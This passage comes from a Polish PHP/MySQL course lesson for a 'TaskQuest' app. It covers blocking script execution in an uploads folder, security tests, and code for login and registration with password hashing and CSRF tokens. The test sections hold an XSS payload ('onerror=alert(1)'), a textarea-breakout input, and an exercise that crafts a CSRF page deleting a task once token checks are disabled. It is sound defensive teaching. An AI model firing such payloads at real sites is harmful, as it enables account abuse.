<p class="wp-block-paragraph">Apache czyta ustawienia z plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> umieszczonych w katalogach strony. Utwórz w VS Code plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code> (nazwa zaczyna się od kropki i nie ma rozszerzenia):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># TaskQuest (L22): pliki od graczy nie mogą być wykonywane jako skrypty.
Options -Indexes

&lt;FilesMatch "\.(php|php&#91;0-9]|phtml|phar)$"&gt;
    Require all denied
&lt;/FilesMatch&gt;</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Options -Indexes</code> wyłącza listę plików katalogu.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">FilesMatch</code> z wyrażeniem regularnym (znasz je z L8) wybiera pliki z końcówkami, które serwer mógłby wykonać jako PHP, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">Require all denied</code> zabrania dostępu do nich.</li>
</ul>



<p class="wp-block-paragraph">Sprawdzenie:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Adres</th><th>Przed</th><th>Po</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">.../uploads/avatary/test.php</code></td><td>„Ten skrypt został wykonany!”</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">403 Forbidden</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">.../uploads/avatary/</code></td><td>lista plików</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">403 Forbidden</code></td></tr><tr><td>avatar na liście zadań (wgraj nowy)</td><td>widoczny</td><td><strong>nadal widoczny</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">test.php</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">W XAMPP pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">htdocs</code> działają od razu. Na innym serwerze administrator może je wyłączyć. Najpewniejsze rozwiązanie to trzymanie przesłanych plików <strong>poza</strong> katalogiem publicznym i wydawanie ich przez skrypt PHP. W TaskQuest zostajemy przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>.</p>
</blockquote>



<h3 class="wp-block-heading">Diagnostyka i stopka</h3>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> ścieżki <code class="prettyprint lang-sql" style="font-size: 0.85em;">'rejestracja.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'uploads/avatary/.htaccess'</code> (razem <strong>23</strong>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPlikIstnieje()</code> działa też dla pliku z kropką na początku.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień wersję na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 2.2</code>.</li>
</ol>



<h1 class="wp-block-heading">9. Testy</h1>



<p class="wp-block-paragraph">Przed testami uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (krok 6.4) i opróżnij <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> (poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>!).</p>



<h2 class="wp-block-heading">Test 1 — regresja</h2>



<p class="wp-block-paragraph">Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code>. Lista zadań, liczniki, pasek XP, „Zrobione!” (XP rośnie), „Usuń”, filtr widoku, avatar, ranking i wylogowanie działają jak po Lekcji 21. Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code> — widać jej jedno zadanie.</p>



<h2 class="wp-block-heading">Test 2 — logowanie</h2>



<p class="wp-block-paragraph">Tabela w kroku 6.4, krok 4. Szczególnie ważne: nieistniejący login i złe hasło dają <strong>ten sam</strong> komunikat.</p>



<h2 class="wp-block-heading">Test 3 — rejestracja</h2>



<p class="wp-block-paragraph">Załóż konto: login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz</code>, imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala</code>, hasło <code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code> (dwa razy).</p>



<ul class="wp-block-list">
<li>Lądujesz na liście zadań z komunikatem „Konto zostało założone. Witaj w TaskQuest!”.</li>



<li>Widzisz kółko z literą <code class="prettyprint lang-sql" style="font-size: 0.85em;">A</code>, 0 XP, pustą listę zadań.</li>



<li>W rankingu: Ola, Kama, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz</code>.</li>



<li>W phpMyAdmin nowy wiersz ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> zaczynający się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> równe <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</li>



<li>Wyloguj się i zaloguj ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code>.</li>
</ul>



<h2 class="wp-block-heading">Test 4 — walidacja rejestracji</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Login</th><th>Imię</th><th>Hasło</th><th>Powtórzone</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ka</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">   </code> (same spacje)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">krotkie</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">krotkie</code></td><td>3 komunikaty: login, imię wymagane, hasło za krótkie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_Gracz2</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo2</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Hasła nie są takie same.</code>; login i imię zostały w polach, pola haseł są puste</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ten login jest już zajęty.</code> (małe litery!)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala Ma Kota</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ala</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tajnehaslo1</code></td><td>komunikat o formacie loginu</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 5 — XSS</h2>



<ol class="wp-block-list">
<li>Zadanie z tytułem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="x" onerror="alert(1)"&gt;</code> i opisem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;pogrubione?&lt;/b&gt;</code> — na liście i w „najpilniejszym zadaniu” widać dosłowny tekst, bez okienka.</li>



<li>Zarejestruj konto z imieniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;i&gt;Ala&lt;/i&gt;</code> — powitanie pokazuje dosłownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;i&gt;Ala&lt;/i&gt;</code>, a w kółku avatara jest znak <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>.</li>



<li>Formularz nowego zadania: tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cytat "PHP" i 'MySQL'</code>, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code> → błąd walidacji, a pole tytułu zawiera <strong>cały</strong> tytuł z cudzysłowami.</li>



<li>Formularz nowego zadania: opis <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;/textarea&gt;&lt;b&gt;X&lt;/b&gt;</code>, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code> → błąd walidacji, formularz wygląda normalnie, a opis jest w polu w całości.</li>
</ol>



<h2 class="wp-block-heading">Test 6 — CSRF</h2>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> w Firefoksie (zalogowana Kama) → formularz z komunikatem o wygasłym formularzu, zadanie nie zostało dodane.</li>



<li>W Firefoksie otwórz stronę logowania. W narzędziach przeglądarki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">F12</code> → Dane → Ciasteczka) usuń ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>. Wpisz poprawne dane Kamy i wyślij → komunikat o wygasłym formularzu. Ponowne wysłanie (formularz ma już nowy token) → logowanie działa.</li>



<li>Otwórz „+ Dodaj zadanie” w jednej karcie. W drugiej karcie wyloguj się i zaloguj jeszcze raz. W pierwszej karcie wypełnij formularz i wyślij → komunikat o wygasłym formularzu, wpisane dane zostały w polach.</li>
</ol>



<h2 class="wp-block-heading">Test 7 — katalog avatarów</h2>



<p class="wp-block-paragraph">Tabela w sekcji 8.</p>



<h2 class="wp-block-heading">Test 8 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — 23 pliki, wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>. Zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">htaccess.txt</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code>. Przywróć nazwę.</p>



<h2 class="wp-block-heading">Test 9 — baza nie działa</h2>



<p class="wp-block-paragraph">Zatrzymaj MySQL w XAMPP. Logowanie → ramka „Nie udało się zalogować: Nie udało się połączyć z bazą danych.” Rejestracja → „Nie udało się założyć konta: &#8230;”, login i imię zostały w polach. Uruchom MySQL.</p>



<h1 class="wp-block-heading">10. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph">Po każdym eksperymencie przywróć kod.</p>



<h3 class="wp-block-heading">Eksperyment 1: kolejność escapowania</h3>



<p class="wp-block-paragraph">Dodaj zadanie z opisem:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Porównać wyniki testów z klasą 3A i 3B, potem Q&amp;A z nauczycielem</code></pre>



<p class="wp-block-paragraph">Na liście opis jest skrócony do: <code class="prettyprint lang-sql" style="font-size: 0.85em;">... potem Q&amp;A ...</code>. Teraz w pętli listy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zamień kolejność: najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code>, czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis(htmlspecialchars($zadanie-&gt;pobierzOpis()))</code>. Odśwież.</p>



<p class="wp-block-paragraph">Na liście pojawia się <code class="prettyprint lang-sql" style="font-size: 0.85em;">... potem Q&amp;am...</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> zamienił <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code> na pięć znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;amp;</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code> przeciął encję w połowie. Przeglądarka dostała niepełne <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;am</code> i wyświetliła je jako zwykły tekst. Wniosek: escapujemy na samym końcu.</p>



<h3 class="wp-block-heading">Eksperyment 2: podwójne escapowanie</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, tuż przed wywołaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code>, dopisz tymczasowo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulZadania = htmlspecialchars($tytulZadania);</code>. Dodaj zadanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp; Jerry</code>.</p>



<p class="wp-block-paragraph">Na liście widać <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp;amp; Jerry</code>, a w phpMyAdmin w kolumnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> jest zapisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tom &amp;amp; Jerry</code>. Tekst został zamieniony dwa razy: przy zapisie i przy wyświetlaniu. Gdyby TaskQuest kiedyś wysyłał ten tytuł w e-mailu albo do aplikacji mobilnej, tam też pokazałby się śmieć. Usuń linię i to zadanie.</p>



<h3 class="wp-block-heading">Eksperyment 3: CSRF usuwa zadanie</h3>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> zamień blok sprawdzający token w komentarz.</li>



<li>Skopiuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.html</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code>. Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">action</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, usuń cztery ukryte pola i dodaj jedno: <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="id"</code> z numerem któregoś zadania Kamy (znajdziesz go w źródle strony listy albo w phpMyAdmin).</li>



<li>W Firefoksie (zalogowana Kama) otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code>. Zadanie zniknęło, a Kama zobaczyła komunikat „Zadanie zostało usunięte.”.</li>



<li>Przywróć sprawdzanie tokenu i otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak2.html</code> jeszcze raz → „Nie udało się wykonać akcji. Spróbuj jeszcze raz.”, zadania nie ubywa.</li>
</ol>



<h3 class="wp-block-heading">Eksperyment 4: wolny hash to zaleta</h3>



<p class="wp-block-paragraph">W brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT);
echo '&lt;p&gt;password_hash: ' . round(microtime(true) - $start, 3) . ' s&lt;/p&gt;';

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT, &#91;'cost' =&gt; 14]);
echo '&lt;p&gt;password_hash, koszt 14: ' . round(microtime(true) - $start, 3) . ' s&lt;/p&gt;';

$start = microtime(true);
for ($i = 0; $i &lt; 100000; $i++) {
    md5('KamaQuest26' . $i);
}
echo '&lt;p&gt;100 000 × md5: ' . round(microtime(true) - $start, 3) . ' s&lt;/p&gt;';</code></pre>



<p class="wp-block-paragraph">Na typowym komputerze szkolnym zobaczysz mniej więcej: jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> trwa kilka setnych sekundy, z kosztem 14 około sekundy, a sto tysięcy <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code> kilka setnych sekundy. Dla gracza różnica jest niezauważalna, bo loguje się raz. Atakujący, który ma wykradziony hash i sprawdza miliony haseł, przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> potrzebuje tysięcy razy więcej czasu niż przy md5. Każde zwiększenie kosztu o 1 podwaja ten czas.</p>



<h1 class="wp-block-heading">11. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Poniżej wszystkie pliki, które zmieniły się w Lekcji 22. Pliki niewymienione (klasy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_avatara.php</code>) są <strong>identyczne jak po Lekcji 21</strong>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code> (nowy plik)</h2>



<p class="wp-block-paragraph">Treść jak w sekcji 8.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> — zmiany</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NOT NULL,          -- (L22) wynik password_hash()
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- (L22) hasła kont testowych: Kama_2026 → KamaQuest26, Ola_TQ → OlaQuest26
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', '$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', '$2y$10$IC7t4ZwMprlNySlkvZAjK.51hLq0Js/fAlwfemXNX1EhrNhwgmcF.', 250, 0, NULL);</code></pre>



<p class="wp-block-paragraph">Hashe powyżej są poprawne dla podanych haseł. Twoje, wygenerowane w kroku 6.3, będą inne i też są poprawne. Reszta skryptu bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> — na końcu pliku</h2>



<p class="wp-block-paragraph">Funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTokenCsrf()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code> — kod jak w ROZWIĄZANIU kroku 5.3.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> — zmiany</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> w nowej wersji i pod nią nowa funkcja (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> i pozostałe funkcje bez zmian):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login, string $haslo): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($haslo === '') {
        $bledy&#91;] = 'Podaj hasło.';
    }

    return $bledy;
}

function walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($imieUzytkownika === '') {
        $bledy&#91;] = 'Imię jest wymagane.';
    } elseif (mb_strlen($imieUzytkownika) &gt; 30) {
        $bledy&#91;] = 'Imię może mieć najwyżej 30 znaków.';
    }

    if (mb_strlen($haslo) &lt; 8) {
        $bledy&#91;] = 'Hasło musi mieć co najmniej 8 znaków.';
    } elseif ($haslo !== $powtorzoneHaslo) {
        $bledy&#91;] = 'Hasła nie są takie same.';
    }

    return $bledy;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Komentarz na górze: „(Lekcje 18–22)”.</li>



<li>Na końcu pliku:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    return $wynik-&gt;fetch_assoc();   // null, gdy nie ma takiego loginu
}

function dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int
{
    $zapytanie = $polaczenie-&gt;prepare('INSERT INTO uzytkownicy (login, imie, haslo_hash) VALUES (?, ?, ?)');
    $zapytanie-&gt;bind_param('sss', $login, $imieUzytkownika, $hasloHash);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;insert_id;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (pełny plik)</h2>



<p class="wp-block-paragraph">Etykiety i kolejność <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> mogą się drobnie różnić od Twojej wersji z L18. Ważna jest logika.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = &#91;];
$bladBazy = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $haslo = $_POST&#91;'haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneLogowania($login, $haslo);
    }

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();
            $daneLogowania = pobierzDaneLogowania($polaczenie, $login);

            if ($daneLogowania === null || !password_verify($haslo, $daneLogowania&#91;'haslo_hash'])) {
                $bledy&#91;] = 'Nieprawidłowy login lub hasło.';
            } else {
                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $daneLogowania&#91;'id'];

                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;

&lt;h2&gt;Logowanie&lt;/h2&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zalogować: &lt;?= htmlspecialchars($bladBazy); ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="zaloguj.php"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;label for="login"&gt;Login&lt;/label&gt;
    &lt;input type="text" id="login" name="login" maxlength="20" value="&lt;?= htmlspecialchars($login); ?&gt;" required&gt;

    &lt;label for="haslo"&gt;Hasło&lt;/label&gt;
    &lt;input type="password" id="haslo" name="haslo" required&gt;

    &lt;button type="submit"&gt;Wejdź do TaskQuest&lt;/button&gt;
&lt;/form&gt;

&lt;p&gt;Nie masz konta? &lt;a href="rejestracja.php"&gt;Załóż konto&lt;/a&gt;&lt;/p&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$imieUzytkownika = '';
$bledy = &#91;];
$bladBazy = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $imieUzytkownika = trim($_POST&#91;'imie'] ?? '');
    $haslo = $_POST&#91;'haslo'] ?? '';
    $powtorzoneHaslo = $_POST&#91;'powtorzone_haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy&#91;] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneRejestracji($login, $imieUzytkownika, $haslo, $powtorzoneHaslo);
    }

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();

            if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
                $bledy&#91;] = 'Ten login jest już zajęty.';
            } else {
                $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash($haslo, PASSWORD_DEFAULT));

                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $uzytkownikId;

                ustawKomunikat('Konto zostało założone. Witaj w TaskQuest!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Rejestracja — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;

&lt;h2&gt;Załóż konto&lt;/h2&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się założyć konta: &lt;?= htmlspecialchars($bladBazy); ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="rejestracja.php"&gt;
    &lt;input type="hidden" name="token_csrf" value="&lt;?= $tokenCsrf; ?&gt;"&gt;

    &lt;label for="login"&gt;Login (3–20 znaków: litery bez polskich znaków, cyfry, _ lub -)&lt;/label&gt;
    &lt;input type="text" id="login" name="login" maxlength="20" value="&lt;?= htmlspecialchars($login); ?&gt;" required&gt;

    &lt;label for="imie"&gt;Imię&lt;/label&gt;
    &lt;input type="text" id="imie" name="imie" maxlength="30" value="&lt;?= htmlspecialchars($imieUzytkownika); ?&gt;" required&gt;

    &lt;label for="haslo"&gt;Hasło (co najmniej 8 znaków)&lt;/label&gt;
    &lt;input type="password" id="haslo" name="haslo" required&gt;

    &lt;label for="powtorzone_haslo"&gt;Powtórz hasło&lt;/label&gt;
    &lt;input type="password" id="powtorzone_haslo" name="powtorzone_haslo" required&gt;

    &lt;button type="submit"&gt;Załóż konto&lt;/button&gt;
&lt;/form&gt;

